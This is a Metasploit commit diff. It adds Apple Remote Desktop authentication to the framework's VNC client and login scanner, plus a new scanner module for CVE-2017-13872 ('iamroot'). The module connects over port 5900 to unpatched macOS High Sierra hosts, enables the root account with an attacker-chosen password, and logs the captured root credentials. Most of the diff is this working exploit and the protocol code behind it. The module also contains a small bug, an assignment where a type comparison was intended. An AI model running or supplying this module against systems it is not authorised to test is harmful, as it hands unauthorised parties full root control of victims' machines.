Land #9302, Implement ARD auth and add remote CVE-2017-13872 (iamroot) module
commit
c2bb144d0f
|
@ -46,8 +46,6 @@ module Metasploit
|
|||
service_name: 'vnc'
|
||||
}
|
||||
|
||||
credential.public = nil
|
||||
|
||||
begin
|
||||
# Make our initial socket to the target
|
||||
disconnect if self.sock
|
||||
|
@ -57,7 +55,11 @@ module Metasploit
|
|||
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
|
||||
|
||||
if vnc.handshake
|
||||
if vnc_auth(vnc,credential.private)
|
||||
type = vnc.negotiate_authentication
|
||||
if type != Rex::Proto::RFB::AuthType::ARD
|
||||
credential.public = nil
|
||||
end
|
||||
if vnc_auth(vnc,type,credential.public,credential.private)
|
||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
else
|
||||
result_options.merge!(
|
||||
|
@ -106,11 +108,13 @@ module Metasploit
|
|||
# This method attempts the actual VNC authentication. It has built in retries to handle
|
||||
# delays built into the VNC RFB authentication.
|
||||
# @param client [Rex::Proto::RFB::Client] The VNC client object to authenticate through
|
||||
# @param type [Rex::Proto::RFB::AuthType] The VNC authentication type to attempt
|
||||
# @param username [String] the username to attempt the authentication with
|
||||
# @param password [String] the password to attempt the authentication with
|
||||
def vnc_auth(client,password)
|
||||
def vnc_auth(client,type,username,password)
|
||||
success = false
|
||||
5.times do |n|
|
||||
if client.authenticate(password)
|
||||
if client.authenticate_with_type(type,username,password)
|
||||
success = true
|
||||
break
|
||||
end
|
||||
|
|
|
@ -75,6 +75,36 @@ class Cipher
|
|||
c.update(cipher)
|
||||
end
|
||||
|
||||
|
||||
def self.encrypt_ard(username, password, generator, key_length, prime_modulus, peer_public_key)
|
||||
generator = OpenSSL::BN.new(generator, 2)
|
||||
prime_modulus = OpenSSL::BN.new(prime_modulus, 2)
|
||||
peer_public_key = OpenSSL::BN.new(peer_public_key, 2)
|
||||
|
||||
user_struct = username + ("\0" * (64 - username.length)) + password + ("\0" * (64 - password.length))
|
||||
|
||||
dh_peer = OpenSSL::PKey::DH.new(key_length * 8, generator)
|
||||
dh_peer.set_key(peer_public_key, nil)
|
||||
|
||||
dh = OpenSSL::PKey::DH.new(dh_peer)
|
||||
dh.set_pqg(prime_modulus, nil, generator)
|
||||
dh.generate_key!
|
||||
|
||||
shared_key = dh.compute_key(dh_peer.pub_key)
|
||||
|
||||
md5 = OpenSSL::Digest::MD5.new
|
||||
key_digest = md5.digest(shared_key)
|
||||
|
||||
cipher = OpenSSL::Cipher.new("aes-128-ecb")
|
||||
cipher.encrypt
|
||||
cipher.key = key_digest
|
||||
cipher.padding = 0
|
||||
ciphertext = cipher.update(user_struct) + cipher.final
|
||||
|
||||
response = ciphertext + dh.pub_key.to_s(2)
|
||||
return response
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -88,7 +88,15 @@ class Client
|
|||
end
|
||||
|
||||
def authenticate(password = nil)
|
||||
authenticate_with_user(nil, password)
|
||||
end
|
||||
|
||||
def authenticate_with_user(username = nil, password = nil)
|
||||
type = negotiate_authentication
|
||||
authenticate_with_type(type, username, password)
|
||||
end
|
||||
|
||||
def authenticate_with_type(type, username = nil, password = nil)
|
||||
return false if not type
|
||||
|
||||
# Authenticate.
|
||||
|
@ -99,6 +107,9 @@ class Client
|
|||
when AuthType::VNC
|
||||
return false if not negotiate_vnc_auth(password)
|
||||
|
||||
when AuthType::ARD
|
||||
return false if not negotiate_ard_auth(username, password)
|
||||
|
||||
end
|
||||
|
||||
# Handle reading the security result message
|
||||
|
@ -176,6 +187,7 @@ class Client
|
|||
selected = nil
|
||||
selected ||= AuthType::None if @opts[:allow_none] and @auth_types.include? AuthType::None
|
||||
selected ||= AuthType::VNC if @auth_types.include? AuthType::VNC
|
||||
selected ||= AuthType::ARD if @auth_types.include? AuthType::ARD
|
||||
|
||||
if not selected
|
||||
@error = "No supported authentication method found."
|
||||
|
@ -201,6 +213,21 @@ class Client
|
|||
true
|
||||
end
|
||||
|
||||
def negotiate_ard_auth(username = nil, password = nil)
|
||||
generator = @sock.get_once(2)
|
||||
generator = generator.unpack("n").first
|
||||
key_length = @sock.get_once(2)
|
||||
key_length = key_length.unpack("n").first
|
||||
prime_modulus = @sock.get_once(key_length)
|
||||
peer_public_key = @sock.get_once(key_length)
|
||||
|
||||
response = Cipher.encrypt_ard(username, password, generator, key_length, prime_modulus, peer_public_key)
|
||||
@sock.put(response)
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
attr_reader :error, :majver, :minver, :auth_types
|
||||
attr_reader :view_only
|
||||
end
|
||||
|
|
|
@ -36,6 +36,7 @@ class AuthType
|
|||
GtkVncSasl = 20
|
||||
MD5Hash = 21
|
||||
ColinDeanXVP = 22
|
||||
ARD = 30
|
||||
|
||||
def self.to_s(num)
|
||||
self.constants.each { |c|
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/proto/rfb'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Apple Remote Desktop Root Vulnerability',
|
||||
'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-13872'],
|
||||
['URL', 'https://support.apple.com/en-us/HT208315']
|
||||
],
|
||||
'Author' => 'jgor',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5900),
|
||||
OptString.new('PASSWORD', [false, 'Set root account to this password', ''])
|
||||
])
|
||||
end
|
||||
|
||||
def log_credential(password)
|
||||
print_good("Login succeeded - root:#{password}")
|
||||
|
||||
service_data = {
|
||||
address: target_host,
|
||||
port: rport,
|
||||
service_name: 'vnc',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
username: 'root',
|
||||
private_data: password,
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
begin
|
||||
if datastore['PASSWORD'].empty?
|
||||
password = Rex::Text::rand_text_alphanumeric(16)
|
||||
else
|
||||
password = datastore['PASSWORD']
|
||||
end
|
||||
|
||||
connect
|
||||
vnc = Rex::Proto::RFB::Client.new(sock)
|
||||
if vnc.handshake
|
||||
type = vnc.negotiate_authentication
|
||||
unless type = Rex::Proto::RFB::AuthType::ARD
|
||||
print_error("VNC server does not advertise security type ARD.")
|
||||
return
|
||||
end
|
||||
print_status("Attempting authentication as root.")
|
||||
if vnc.authenticate_with_type(type, 'root', password)
|
||||
log_credential(password)
|
||||
return
|
||||
end
|
||||
end
|
||||
disconnect
|
||||
|
||||
connect
|
||||
vnc = Rex::Proto::RFB::Client.new(sock)
|
||||
print_status("Testing login as root with chosen password.")
|
||||
if vnc.handshake
|
||||
if vnc.authenticate_with_user('root', password)
|
||||
log_credential(password)
|
||||
return
|
||||
end
|
||||
end
|
||||
disconnect
|
||||
|
||||
connect
|
||||
vnc = Rex::Proto::RFB::Client.new(sock)
|
||||
print_status("Testing login as root with empty password.")
|
||||
if vnc.handshake
|
||||
if vnc.authenticate_with_user('root', '')
|
||||
log_credential('')
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -31,7 +31,8 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do
|
|||
|
||||
it 'returns a failed result when authentication fails' do
|
||||
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:handshake).and_return true
|
||||
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:authenticate).with(private).and_return false
|
||||
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:negotiate_authentication).and_return Rex::Proto::RFB::AuthType::VNC
|
||||
expect_any_instance_of(Rex::Proto::RFB::Client).to receive(:authenticate_with_type).with(Rex::Proto::RFB::AuthType::VNC,nil,private).and_return false
|
||||
result = login_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue